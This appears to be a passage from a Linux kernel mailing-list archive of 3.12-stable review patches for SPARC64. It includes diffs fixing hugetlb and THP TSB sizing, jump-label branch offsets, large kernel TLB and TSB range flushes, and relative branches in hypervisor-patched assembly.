do_sparc64_fault() calculates both the base and huge page RSS sizes and uses this information in calls to tsb_grow(). The calculation for base page TSB size is not correct if the task uses hugetlb pages. hugetlb pages are not accounted for in RSS, therefore the call to get_mm_rss(mm) does not include hugetlb pages. However, the number of pages based on huge_pte_count (which does include hugetlb pages) is subtracted from this value. This will result in an artificially small and often negative RSS calculation. The base TSB size is then often set to max_tsb_size as the passed RSS is unsigned, so a negative value looks really big.
THP pages are also accounted for in huge_pte_count, and THP pages are accounted for in RSS so the calculation in do_sparc64_fault() is correct if a task only uses THP pages.
A single huge_pte_count is not sufficient for TSB sizing if both hugetlb and THP pages can be used. Instead of a single counter, use two: one for hugetlb and one for THP.
--- arch/sparc/include/asm/mmu_64.h | 3 ++- arch/sparc/mm/fault_64.c | 6 +++--- arch/sparc/mm/hugetlbpage.c | 4 ++-- arch/sparc/mm/init_64.c | 3 ++- arch/sparc/mm/tlb.c | 4 ++-- arch/sparc/mm/tsb.c | 14 ++++++++------ 6 files changed, 19 insertions(+), 15 deletions(-)
arch/sparc/include/asm/mmu_64.h +2 -1
@@ -92,7 +92,8 @@ struct tsb_config {typedef struct {spinlock_t lock;unsigned long sparc64_ctx_val; -unsigned long huge_pte_count; +unsigned long hugetlb_pte_count; +unsigned long thp_pte_count;struct tsb_config tsb_block[MM_NUM_TSBS ];struct hv_tsb_descr tsb_descr[MM_NUM_TSBS ]; }mm_context_t ;
arch/sparc/mm/fault_64.c +3 -3
@@ -478,14 +478,14 @@ good_area:up_read (&mm->mmap_sem); mm_rss =get_mm_rss (mm); -#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) - mm_rss -= (mm->context.huge_pte_count * (HPAGE_SIZE /PAGE_SIZE )); +#if defined(CONFIG_TRANSPARENT_HUGEPAGE ) + mm_rss -= (mm->context.thp_pte_count * (HPAGE_SIZE /PAGE_SIZE ));#endif if (unlikely (mm_rss > mm->context.tsb_block[MM_TSB_BASE ].tsb_rss_limit))tsb_grow (mm,MM_TSB_BASE , mm_rss);#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) - mm_rss = mm->context.huge_pte_count; + mm_rss = mm->context.hugetlb_pte_count + mm->context.thp_pte_count;if (unlikely (mm_rss > mm->context.tsb_block[MM_TSB_HUGE ].tsb_rss_limit)) {if (mm->context.tsb_block[MM_TSB_HUGE ].tsb)
arch/sparc/mm/hugetlbpage.c +2 -2
@@ -184,7 +184,7 @@ void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,int i;if (!pte_present (*ptep) &&pte_present (entry)) - mm->context.huge_pte_count++; + mm->context.hugetlb_pte_count++; addr &=HPAGE_MASK ;for (i =0 ; i < (1 <<HUGETLB_PAGE_ORDER ); i++) {
@@ -203,7 +203,7 @@ pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, entry = *ptep;if (pte_present (entry)) - mm->context.huge_pte_count--; + mm->context.hugetlb_pte_count--; addr &=HPAGE_MASK ;
arch/sparc/mm/init_64.c +2 -1
@@ -353,7 +353,8 @@ void update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *spin_lock_irqsave (&mm->context.lock, flags);#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) -if (mm->context.huge_pte_count &&is_hugetlb_pte (pte)) +if ((mm->context.hugetlb_pte_count || mm->context.thp_pte_count) && +is_hugetlb_pte (pte))__update_mmu_tsb_insert (mm,MM_TSB_HUGE ,REAL_HPAGE_SHIFT , address,pte_val (pte));else
arch/sparc/mm/tlb.c +2 -2
@@ -166,9 +166,9 @@ void set_pmd_at(struct mm_struct *mm, unsigned long addr,if ((pmd_val (pmd) ^pmd_val (orig)) & _PAGE_PMD_HUGE) {if (pmd_val (pmd) & _PAGE_PMD_HUGE) - mm->context.huge_pte_count++; + mm->context.thp_pte_count++;else - mm->context.huge_pte_count--; + mm->context.thp_pte_count--;/* Do not try to allocate the TSB hash table if we * don't have one already. We have various locks held
arch/sparc/mm/tsb.c +8 -6
@@ -467,7 +467,7 @@ retry_tsb_alloc:int init_new_context (struct task_struct *tsk,struct mm_struct *mm) {#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) -unsigned long huge_pte_count; +unsigned long total_huge_pte_count;#endif unsigned int i;
@@ -476,12 +476,14 @@ int init_new_context(struct task_struct *tsk, struct mm_struct *mm) mm->context.sparc64_ctx_val =0UL ;#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) -/* We reset it to zero because the fork() page copying +/* We reset them to zero because the fork() page copying * will re-increment the counters as the parent PTEs are * copied into the child address space. */ - huge_pte_count = mm->context.huge_pte_count; - mm->context.huge_pte_count =0 ; + total_huge_pte_count = mm->context.hugetlb_pte_count + + mm->context.thp_pte_count; + mm->context.hugetlb_pte_count =0 ; + mm->context.thp_pte_count =0 ;#endif /* copy_mm() copies over the parent's mm_struct before calling
@@ -497,8 +499,8 @@ int init_new_context(struct task_struct *tsk, struct mm_struct *mm)tsb_grow (mm,MM_TSB_BASE ,get_mm_rss (mm));#if defined(CONFIG_HUGETLB_PAGE ) || defined(CONFIG_TRANSPARENT_HUGEPAGE ) -if (unlikely (huge_pte_count)) -tsb_grow (mm,MM_TSB_HUGE , huge_pte_count); +if (unlikely (total_huge_pte_count)) +tsb_grow (mm,MM_TSB_HUGE , total_huge_pte_count);#endif if (unlikely (!mm->context.tsb_block[MM_TSB_BASE ].tsb))
Signature · 1 line
2.10.2
PATCH 112/127 sparc: Handle negative offsets in arch_jump_label_transform
In reply to Jiri SlabyFrom: James Clarke <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 9d9fa230206a3aea6ef451646c97122f04777983 ]
Additionally, if the offset will overflow the immediate for a ba,pt instruction, fall back on a standard ba to get an extra 3 bits.
--- arch/sparc/kernel/jump_label.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-)
arch/sparc/kernel/jump_label.c +17 -6
@@ -13,19 +13,30 @@void arch_jump_label_transform (struct jump_entry *entry,enum jump_label_type type) { -u32 val;u32 *insn = (u32 *) (unsigned long ) entry->code; +u32 val;if (type ==JUMP_LABEL_ENABLE ) {s32 off = (s32 )entry->target - (s32 )entry->code; +bool use_v9_branch = false; + +BUG_ON (off &3 );#ifdef CONFIG_SPARC64 -/* ba,pt %xcc, . + (off << 2) */ - val =0x10680000 | ((u32 ) off >>2 ); -#else -/* ba . + (off << 2) */ - val =0x10800000 | ((u32 ) off >>2 ); +if (off <=0xfffff && off >=-0x100000 ) + use_v9_branch = true;#endif +if (use_v9_branch) { +/* WDISP19 - target is . + immed << 2 */ +/* ba,pt %xcc, . + off */ + val =0x10680000 | (((u32 ) off >>2 ) &0x7ffff ); + }else { +/* WDISP22 - target is . + immed << 2 */ +BUG_ON (off >0x7fffff ); +BUG_ON (off <-0x800000 ); +/* ba . + off */ + val =0x10800000 | (((u32 ) off >>2 ) &0x3fffff ); + } }else { val =0x01000000 ; }
Signature · 1 line
2.10.2
PATCH 113/127 sparc64: Handle extremely large kernel TSB range flushes sanely.
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 849c498766060a16aad5b0e0d03206726e7d2fa4 ]
If the number of pages we are flushing is more than twice the number of entries in the TSB, just scan the TSB table for matches rather than probing each and every page in the range.
Based upon a patch and report by James Clarke.
--- arch/sparc/mm/tsb.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+)
arch/sparc/mm/tsb.c +17 -0
@@ -26,6 +26,20 @@ static inline int tag_compare(unsigned long tag, unsigned long vaddr)return (tag == (vaddr >>22 )); } +static void flush_tsb_kernel_range_scan (unsigned long start,unsigned long end) +{ +unsigned long idx; + +for (idx =0 ; idx <KERNEL_TSB_NENTRIES ; idx++) { +struct tsb *ent = &swapper_tsb[idx]; +unsigned long match = idx <<13 ; + + match |= (ent->tag <<22 ); +if (match >= start && match < end) + ent->tag = (1UL <<TSB_TAG_INVALID_BIT ); + } +} +/* TSB flushes need only occur on the processor initiating the address * space modification, not on each cpu the address space has run on. * Only the TLB flush needs that treatment.
@@ -35,6 +49,9 @@ void flush_tsb_kernel_range(unsigned long start, unsigned long end) {unsigned long v; +if ((end - start) >>PAGE_SHIFT >=2 *KERNEL_TSB_NENTRIES ) +return flush_tsb_kernel_range_scan (start, end); +for (v = start; v < end; v +=PAGE_SIZE ) {unsigned long hash =tsb_hash (v,PAGE_SHIFT ,KERNEL_TSB_NENTRIES );
Signature · 1 line
2.10.2
PATCH 114/127 sparc64: Fix illegal relative branches in hypervisor patched TLB code.
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit b429ae4d5b565a71dfffd759dfcd4f6c093ced94 ]
When we copy code over to patch another piece of code, we can only use PC-relative branches that target code within that piece of code.
Such PC-relative branches cannot be made to external symbols because the patch moves the location of the code and thus modifies the relative address of external symbols.
Use an absolute jmpl to fix this problem.
--- arch/sparc/mm/ultra.S | 65 ++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 51 insertions(+), 14 deletions(-)
arch/sparc/mm/ultra.S +51 -14
@@ -30,7 +30,7 @@ .text .align 32 .globl __flush_tlb_mm -__flush_tlb_mm: /* 18 insns */ +__flush_tlb_mm: /* 19 insns */ /* %o0=(ctx & TAG_CONTEXT_BITS), %o1=SECONDARY_CONTEXT */ ldxa [%o1] ASI_DMMU, %g2 cmp %g2, %o0
@@ -81,7 +81,7 @@ __flush_tlb_page: /* 22 insns */ .align 32 .globl __flush_tlb_pending -__flush_tlb_pending: /* 26 insns */ +__flush_tlb_pending: /* 27 insns */ /* %o0 = context, %o1 = nr, %o2 = vaddrs[] */ rdpr %pstate, %g7 sllx %o1, 3, %o1
@@ -113,7 +113,7 @@ __flush_tlb_pending: /* 26 insns */ .align 32 .globl __flush_tlb_kernel_range -__flush_tlb_kernel_range: /* 16 insns */ +__flush_tlb_kernel_range: /* 19 insns */ /* %o0=start, %o1=end */ cmp %o0, %o1 be,pn %xcc, 2f
@@ -131,6 +131,9 @@ __flush_tlb_kernel_range: /* 16 insns */ retl nop nop + nop + nop + nop __spitfire_flush_tlb_mm_slow: rdpr %pstate, %g1
@@ -309,19 +312,28 @@ __hypervisor_tlb_tl0_error: ret restore -__hypervisor_flush_tlb_mm: /* 10 insns */ +__hypervisor_flush_tlb_mm: /* 19 insns */ mov %o0, %o2 /* ARG2: mmu context */ mov 0, %o0 /* ARG0: CPU lists unimplemented */ mov 0, %o1 /* ARG1: CPU lists unimplemented */ mov HV_MMU_ALL, %o3 /* ARG3: flags */ mov HV_FAST_MMU_DEMAP_CTX, %o5 ta HV_FAST_TRAP - brnz,pn %o0, __hypervisor_tlb_tl0_error + brnz,pn %o0, 1f mov HV_FAST_MMU_DEMAP_CTX, %o1 retl nop +1: sethi %hi(__hypervisor_tlb_tl0_error), %o5 + jmpl %o5 + %lo(__hypervisor_tlb_tl0_error), %g0 + nop + nop + nop + nop + nop + nop + nop -__hypervisor_flush_tlb_page: /* 11 insns */ +__hypervisor_flush_tlb_page: /* 22 insns */ /* %o0 = context, %o1 = vaddr */ mov %o0, %g2 mov %o1, %o0 /* ARG0: vaddr + IMMU-bit */
@@ -330,10 +342,21 @@ __hypervisor_flush_tlb_page: /* 11 insns */ srlx %o0, PAGE_SHIFT, %o0 sllx %o0, PAGE_SHIFT, %o0 ta HV_MMU_UNMAP_ADDR_TRAP - brnz,pn %o0, __hypervisor_tlb_tl0_error + brnz,pn %o0, 1f mov HV_MMU_UNMAP_ADDR_TRAP, %o1 retl nop +1: sethi %hi(__hypervisor_tlb_tl0_error), %o2 + jmpl %o2 + %lo(__hypervisor_tlb_tl0_error), %g0 + nop + nop + nop + nop + nop + nop + nop + nop + nop __hypervisor_flush_tlb_pending: /* 16 insns */ /* %o0 = context, %o1 = nr, %o2 = vaddrs[] */
@@ -347,14 +370,25 @@ __hypervisor_flush_tlb_pending: /* 16 insns */ srlx %o0, PAGE_SHIFT, %o0 sllx %o0, PAGE_SHIFT, %o0 ta HV_MMU_UNMAP_ADDR_TRAP - brnz,pn %o0, __hypervisor_tlb_tl0_error + brnz,pn %o0, 1f mov HV_MMU_UNMAP_ADDR_TRAP, %o1 brnz,pt %g1, 1b nop retl nop +1: sethi %hi(__hypervisor_tlb_tl0_error), %o2 + jmpl %o2 + %lo(__hypervisor_tlb_tl0_error), %g0 + nop + nop + nop + nop + nop + nop + nop + nop + nop -__hypervisor_flush_tlb_kernel_range: /* 16 insns */ +__hypervisor_flush_tlb_kernel_range: /* 19 insns */ /* %o0=start, %o1=end */ cmp %o0, %o1 be,pn %xcc, 2f
@@ -366,12 +400,15 @@ __hypervisor_flush_tlb_kernel_range: /* 16 insns */ mov 0, %o1 /* ARG1: mmu context */ mov HV_MMU_ALL, %o2 /* ARG2: flags */ ta HV_MMU_UNMAP_ADDR_TRAP - brnz,pn %o0, __hypervisor_tlb_tl0_error + brnz,pn %o0, 3f mov HV_MMU_UNMAP_ADDR_TRAP, %o1 brnz,pt %g2, 1b sub %g2, %g3, %g2 2: retl nop +3: sethi %hi(__hypervisor_tlb_tl0_error), %o2 + jmpl %o2 + %lo(__hypervisor_tlb_tl0_error), %g0 + nop #ifdef DCACHE_ALIASING_POSSIBLE /* XXX Niagara and friends have an 8K cache, so no aliasing is
@@ -819,28 +856,28 @@ hypervisor_patch_cachetlbops: sethi %hi(__hypervisor_flush_tlb_mm), %o1 or %o1, %lo(__hypervisor_flush_tlb_mm), %o1 call tlb_patch_one - mov 10, %o2 + mov 19, %o2 sethi %hi(__flush_tlb_page), %o0 or %o0, %lo(__flush_tlb_page), %o0 sethi %hi(__hypervisor_flush_tlb_page), %o1 or %o1, %lo(__hypervisor_flush_tlb_page), %o1 call tlb_patch_one - mov 11, %o2 + mov 22, %o2 sethi %hi(__flush_tlb_pending), %o0 or %o0, %lo(__flush_tlb_pending), %o0 sethi %hi(__hypervisor_flush_tlb_pending), %o1 or %o1, %lo(__hypervisor_flush_tlb_pending), %o1 call tlb_patch_one - mov 16, %o2 + mov 27, %o2 sethi %hi(__flush_tlb_kernel_range), %o0 or %o0, %lo(__flush_tlb_kernel_range), %o0 sethi %hi(__hypervisor_flush_tlb_kernel_range), %o1 or %o1, %lo(__hypervisor_flush_tlb_kernel_range), %o1 call tlb_patch_one - mov 16, %o2 + mov 19, %o2 #ifdef DCACHE_ALIASING_POSSIBLE sethi %hi(__flush_dcache_page), %o0
Signature · 1 line
2.10.2
PATCH 115/127 sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_pending.
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 830cda3f9855ff092b0e9610346d110846fc497c ]
Noticed by James Clarke.
--- arch/sparc/mm/ultra.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/sparc/mm/ultra.S +1 -1
@@ -358,7 +358,7 @@ __hypervisor_flush_tlb_page: /* 22 insns */ nop nop -__hypervisor_flush_tlb_pending: /* 16 insns */ +__hypervisor_flush_tlb_pending: /* 27 insns */ /* %o0 = context, %o1 = nr, %o2 = vaddrs[] */ sllx %o1, 3, %g1 mov %o2, %g2
Signature · 1 line
2.10.2
PATCH 116/127 sparc64: Fix illegal relative branches in hypervisor patched TLB cross-call code.
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit a236441bb69723032db94128761a469030c3fe6d ]
Just like the non-cross-call TLB flush handlers, the cross-call ones need to avoid doing PC-relative branches outside of their code blocks.
--- arch/sparc/mm/ultra.S | 42 ++++++++++++++++++++++++++++++------------ 1 file changed, 30 insertions(+), 12 deletions(-)
arch/sparc/mm/ultra.S +30 -12
@@ -484,7 +484,7 @@ cheetah_patch_cachetlbops: */ .align 32 .globl xcall_flush_tlb_mm -xcall_flush_tlb_mm: /* 21 insns */ +xcall_flush_tlb_mm: /* 24 insns */ mov PRIMARY_CONTEXT, %g2 ldxa [%g2] ASI_DMMU, %g3 srlx %g3, CTX_PGSZ1_NUC_SHIFT, %g4
@@ -506,9 +506,12 @@ xcall_flush_tlb_mm: /* 21 insns */ nop nop nop + nop + nop + nop .globl xcall_flush_tlb_page -xcall_flush_tlb_page: /* 17 insns */ +xcall_flush_tlb_page: /* 20 insns */ /* %g5=context, %g1=vaddr */ mov PRIMARY_CONTEXT, %g4 ldxa [%g4] ASI_DMMU, %g2
@@ -527,9 +530,12 @@ xcall_flush_tlb_page: /* 17 insns */ retry nop nop + nop + nop + nop .globl xcall_flush_tlb_kernel_range -xcall_flush_tlb_kernel_range: /* 25 insns */ +xcall_flush_tlb_kernel_range: /* 28 insns */ sethi %hi(PAGE_SIZE - 1), %g2 or %g2, %lo(PAGE_SIZE - 1), %g2 andn %g1, %g2, %g1
@@ -555,6 +561,9 @@ xcall_flush_tlb_kernel_range: /* 25 insns */ nop nop nop + nop + nop + nop /* This runs in a very controlled environment, so we do * not need to worry about BH races etc.
@@ -737,7 +746,7 @@ __hypervisor_tlb_xcall_error: ba,a,pt %xcc, rtrap .globl __hypervisor_xcall_flush_tlb_mm -__hypervisor_xcall_flush_tlb_mm: /* 21 insns */ +__hypervisor_xcall_flush_tlb_mm: /* 24 insns */ /* %g5=ctx, g1,g2,g3,g4,g7=scratch, %g6=unusable */ mov %o0, %g2 mov %o1, %g3
@@ -751,7 +760,7 @@ __hypervisor_xcall_flush_tlb_mm: /* 21 insns */ mov HV_FAST_MMU_DEMAP_CTX, %o5 ta HV_FAST_TRAP mov HV_FAST_MMU_DEMAP_CTX, %g6 - brnz,pn %o0, __hypervisor_tlb_xcall_error + brnz,pn %o0, 1f mov %o0, %g5 mov %g2, %o0 mov %g3, %o1
@@ -760,9 +769,12 @@ __hypervisor_xcall_flush_tlb_mm: /* 21 insns */ mov %g7, %o5 membar #Sync retry +1: sethi %hi(__hypervisor_tlb_xcall_error), %g4 + jmpl %g4 + %lo(__hypervisor_tlb_xcall_error), %g0 + nop .globl __hypervisor_xcall_flush_tlb_page -__hypervisor_xcall_flush_tlb_page: /* 17 insns */ +__hypervisor_xcall_flush_tlb_page: /* 20 insns */ /* %g5=ctx, %g1=vaddr */ mov %o0, %g2 mov %o1, %g3
@@ -774,16 +786,19 @@ __hypervisor_xcall_flush_tlb_page: /* 17 insns */ sllx %o0, PAGE_SHIFT, %o0 ta HV_MMU_UNMAP_ADDR_TRAP mov HV_MMU_UNMAP_ADDR_TRAP, %g6 - brnz,a,pn %o0, __hypervisor_tlb_xcall_error + brnz,a,pn %o0, 1f mov %o0, %g5 mov %g2, %o0 mov %g3, %o1 mov %g4, %o2 membar #Sync retry +1: sethi %hi(__hypervisor_tlb_xcall_error), %g4 + jmpl %g4 + %lo(__hypervisor_tlb_xcall_error), %g0 + nop .globl __hypervisor_xcall_flush_tlb_kernel_range -__hypervisor_xcall_flush_tlb_kernel_range: /* 25 insns */ +__hypervisor_xcall_flush_tlb_kernel_range: /* 28 insns */ /* %g1=start, %g7=end, g2,g3,g4,g5,g6=scratch */ sethi %hi(PAGE_SIZE - 1), %g2 or %g2, %lo(PAGE_SIZE - 1), %g2
@@ -800,7 +815,7 @@ __hypervisor_xcall_flush_tlb_kernel_range: /* 25 insns */ mov HV_MMU_ALL, %o2 /* ARG2: flags */ ta HV_MMU_UNMAP_ADDR_TRAP mov HV_MMU_UNMAP_ADDR_TRAP, %g6 - brnz,pn %o0, __hypervisor_tlb_xcall_error + brnz,pn %o0, 1f mov %o0, %g5 sethi %hi(PAGE_SIZE), %o2 brnz,pt %g3, 1b
@@ -810,6 +825,9 @@ __hypervisor_xcall_flush_tlb_kernel_range: /* 25 insns */ mov %g7, %o2 membar #Sync retry +1: sethi %hi(__hypervisor_tlb_xcall_error), %g4 + jmpl %g4 + %lo(__hypervisor_tlb_xcall_error), %g0 + nop /* These just get rescheduled to PIL vectors. */ .globl xcall_call_function
@@ -894,21 +912,21 @@ hypervisor_patch_cachetlbops: sethi %hi(__hypervisor_xcall_flush_tlb_mm), %o1 or %o1, %lo(__hypervisor_xcall_flush_tlb_mm), %o1 call tlb_patch_one - mov 21, %o2 + mov 24, %o2 sethi %hi(xcall_flush_tlb_page), %o0 or %o0, %lo(xcall_flush_tlb_page), %o0 sethi %hi(__hypervisor_xcall_flush_tlb_page), %o1 or %o1, %lo(__hypervisor_xcall_flush_tlb_page), %o1 call tlb_patch_one - mov 17, %o2 + mov 20, %o2 sethi %hi(xcall_flush_tlb_kernel_range), %o0 or %o0, %lo(xcall_flush_tlb_kernel_range), %o0 sethi %hi(__hypervisor_xcall_flush_tlb_kernel_range), %o1 or %o1, %lo(__hypervisor_xcall_flush_tlb_kernel_range), %o1 call tlb_patch_one - mov 25, %o2 + mov 28, %o2 #endif /* CONFIG_SMP */ ret
Signature · 1 line
2.10.2
PATCH 117/127 sparc64: Handle extremely large kernel TLB range flushes more gracefully.
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit a74ad5e660a9ee1d071665e7e8ad822784a2dc7f ]
When the vmalloc area gets fragmented, and because the firmware mapping area sits between where modules live and the vmalloc area, we can sometimes receive requests for enormous kernel TLB range flushes.
When this happens the cpu just spins flushing billions of pages and this triggers the NMI watchdog and other problems.
We took care of this on the TSB side by doing a linear scan of the table once we pass a certain threshold.
Do something similar for the TLB flush, however we are limited by the TLB flush facilities provided by the different chip variants.
First of all we use an (mostly arbitrary) cut-off of 256K which is about 32 pages. This can be tuned in the future.
The huge range code path for each chip works as follows:
1) On spitfire we flush all non-locked TLB entries using diagnostic acceses.
2) On cheetah we use the "flush all" TLB flush.
3) On sun4v/hypervisor we do a TLB context flush on context 0, which unlike previous chips does not remove "permanent" or locked entries.
We could probably do something better on spitfire, such as limiting the flush to kernel TLB entries or even doing range comparisons. However that probably isn't worth it since those chips are old and the TLB only had 64 entries.
--- arch/sparc/mm/ultra.S | 283 ++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 228 insertions(+), 55 deletions(-)
arch/sparc/mm/ultra.S +228 -55
@@ -113,12 +113,14 @@ __flush_tlb_pending: /* 27 insns */ .align 32 .globl __flush_tlb_kernel_range -__flush_tlb_kernel_range: /* 19 insns */ +__flush_tlb_kernel_range: /* 31 insns */ /* %o0=start, %o1=end */ cmp %o0, %o1 be,pn %xcc, 2f + sub %o1, %o0, %o3 + srlx %o3, 18, %o4 + brnz,pn %o4, __spitfire_flush_tlb_kernel_range_slow sethi %hi(PAGE_SIZE), %o4 - sub %o1, %o0, %o3 sub %o3, %o4, %o3 or %o0, 0x20, %o0 ! Nucleus 1: stxa %g0, [%o0 + %o3] ASI_DMMU_DEMAP
@@ -134,6 +136,38 @@ __flush_tlb_kernel_range: /* 19 insns */ nop nop nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + +__spitfire_flush_tlb_kernel_range_slow: + mov 63 * 8, %o4 +1: ldxa [%o4] ASI_ITLB_DATA_ACCESS, %o3 + andcc %o3, 0x40, %g0 /* _PAGE_L_4U */ + bne,pn %xcc, 2f + mov TLB_TAG_ACCESS, %o3 + stxa %g0, [%o3] ASI_IMMU + stxa %g0, [%o4] ASI_ITLB_DATA_ACCESS + membar #Sync +2: ldxa [%o4] ASI_DTLB_DATA_ACCESS, %o3 + andcc %o3, 0x40, %g0 + bne,pn %xcc, 2f + mov TLB_TAG_ACCESS, %o3 + stxa %g0, [%o3] ASI_DMMU + stxa %g0, [%o4] ASI_DTLB_DATA_ACCESS + membar #Sync +2: sub %o4, 8, %o4 + brgez,pt %o4, 1b + nop + retl + nop __spitfire_flush_tlb_mm_slow: rdpr %pstate, %g1
@@ -288,6 +322,40 @@ __cheetah_flush_tlb_pending: /* 27 insns */ retl wrpr %g7, 0x0, %pstate +__cheetah_flush_tlb_kernel_range: /* 31 insns */ + /* %o0=start, %o1=end */ + cmp %o0, %o1 + be,pn %xcc, 2f + sub %o1, %o0, %o3 + srlx %o3, 18, %o4 + brnz,pn %o4, 3f + sethi %hi(PAGE_SIZE), %o4 + sub %o3, %o4, %o3 + or %o0, 0x20, %o0 ! Nucleus +1: stxa %g0, [%o0 + %o3] ASI_DMMU_DEMAP + stxa %g0, [%o0 + %o3] ASI_IMMU_DEMAP + membar #Sync + brnz,pt %o3, 1b + sub %o3, %o4, %o3 +2: sethi %hi(KERNBASE), %o3 + flush %o3 + retl + nop +3: mov 0x80, %o4 + stxa %g0, [%o4] ASI_DMMU_DEMAP + membar #Sync + stxa %g0, [%o4] ASI_IMMU_DEMAP + membar #Sync + retl + nop + nop + nop + nop + nop + nop + nop + nop + #ifdef DCACHE_ALIASING_POSSIBLE __cheetah_flush_dcache_page: /* 11 insns */ sethi %hi(PAGE_OFFSET), %g1
@@ -388,13 +456,15 @@ __hypervisor_flush_tlb_pending: /* 27 insns */ nop nop -__hypervisor_flush_tlb_kernel_range: /* 19 insns */ +__hypervisor_flush_tlb_kernel_range: /* 31 insns */ /* %o0=start, %o1=end */ cmp %o0, %o1 be,pn %xcc, 2f - sethi %hi(PAGE_SIZE), %g3 - mov %o0, %g1 - sub %o1, %g1, %g2 + sub %o1, %o0, %g2 + srlx %g2, 18, %g3 + brnz,pn %g3, 4f + mov %o0, %g1 + sethi %hi(PAGE_SIZE), %g3 sub %g2, %g3, %g2 1: add %g1, %g2, %o0 /* ARG0: virtual address */ mov 0, %o1 /* ARG1: mmu context */
@@ -409,6 +479,16 @@ __hypervisor_flush_tlb_kernel_range: /* 19 insns */ 3: sethi %hi(__hypervisor_tlb_tl0_error), %o2 jmpl %o2 + %lo(__hypervisor_tlb_tl0_error), %g0 nop +4: mov 0, %o0 /* ARG0: CPU lists unimplemented */ + mov 0, %o1 /* ARG1: CPU lists unimplemented */ + mov 0, %o2 /* ARG2: mmu context == nucleus */ + mov HV_MMU_ALL, %o3 /* ARG3: flags */ + mov HV_FAST_MMU_DEMAP_CTX, %o5 + ta HV_FAST_TRAP + brnz,pn %o0, 3b + mov HV_FAST_MMU_DEMAP_CTX, %o1 + retl + nop #ifdef DCACHE_ALIASING_POSSIBLE /* XXX Niagara and friends have an 8K cache, so no aliasing is
@@ -431,43 +511,6 @@ tlb_patch_one: retl nop - .globl cheetah_patch_cachetlbops -cheetah_patch_cachetlbops: - save %sp, -128, %sp - - sethi %hi(__flush_tlb_mm), %o0 - or %o0, %lo(__flush_tlb_mm), %o0 - sethi %hi(__cheetah_flush_tlb_mm), %o1 - or %o1, %lo(__cheetah_flush_tlb_mm), %o1 - call tlb_patch_one - mov 19, %o2 - - sethi %hi(__flush_tlb_page), %o0 - or %o0, %lo(__flush_tlb_page), %o0 - sethi %hi(__cheetah_flush_tlb_page), %o1 - or %o1, %lo(__cheetah_flush_tlb_page), %o1 - call tlb_patch_one - mov 22, %o2 - - sethi %hi(__flush_tlb_pending), %o0 - or %o0, %lo(__flush_tlb_pending), %o0 - sethi %hi(__cheetah_flush_tlb_pending), %o1 - or %o1, %lo(__cheetah_flush_tlb_pending), %o1 - call tlb_patch_one - mov 27, %o2 - -#ifdef DCACHE_ALIASING_POSSIBLE - sethi %hi(__flush_dcache_page), %o0 - or %o0, %lo(__flush_dcache_page), %o0 - sethi %hi(__cheetah_flush_dcache_page), %o1 - or %o1, %lo(__cheetah_flush_dcache_page), %o1 - call tlb_patch_one - mov 11, %o2 -#endif /* DCACHE_ALIASING_POSSIBLE */ - - ret - restore - #ifdef CONFIG_SMP /* These are all called by the slaves of a cross call, at * trap level 1, with interrupts fully disabled.
@@ -535,13 +578,15 @@ xcall_flush_tlb_page: /* 20 insns */ nop .globl xcall_flush_tlb_kernel_range -xcall_flush_tlb_kernel_range: /* 28 insns */ +xcall_flush_tlb_kernel_range: /* 44 insns */ sethi %hi(PAGE_SIZE - 1), %g2 or %g2, %lo(PAGE_SIZE - 1), %g2 andn %g1, %g2, %g1 andn %g7, %g2, %g7 sub %g7, %g1, %g3 - add %g2, 1, %g2 + srlx %g3, 18, %g2 + brnz,pn %g2, 2f + add %g2, 1, %g2 sub %g3, %g2, %g3 or %g1, 0x20, %g1 ! Nucleus 1: stxa %g0, [%g1 + %g3] ASI_DMMU_DEMAP
@@ -550,11 +595,25 @@ xcall_flush_tlb_kernel_range: /* 28 insns */ brnz,pt %g3, 1b sub %g3, %g2, %g3 retry - nop - nop - nop - nop - nop +2: mov 63 * 8, %g1 +1: ldxa [%g1] ASI_ITLB_DATA_ACCESS, %g2 + andcc %g2, 0x40, %g0 /* _PAGE_L_4U */ + bne,pn %xcc, 2f + mov TLB_TAG_ACCESS, %g2 + stxa %g0, [%g2] ASI_IMMU + stxa %g0, [%g1] ASI_ITLB_DATA_ACCESS + membar #Sync +2: ldxa [%g1] ASI_DTLB_DATA_ACCESS, %g2 + andcc %g2, 0x40, %g0 + bne,pn %xcc, 2f + mov TLB_TAG_ACCESS, %g2 + stxa %g0, [%g2] ASI_DMMU + stxa %g0, [%g1] ASI_DTLB_DATA_ACCESS + membar #Sync +2: sub %g1, 8, %g1 + brgez,pt %g1, 1b + nop + retry nop nop nop
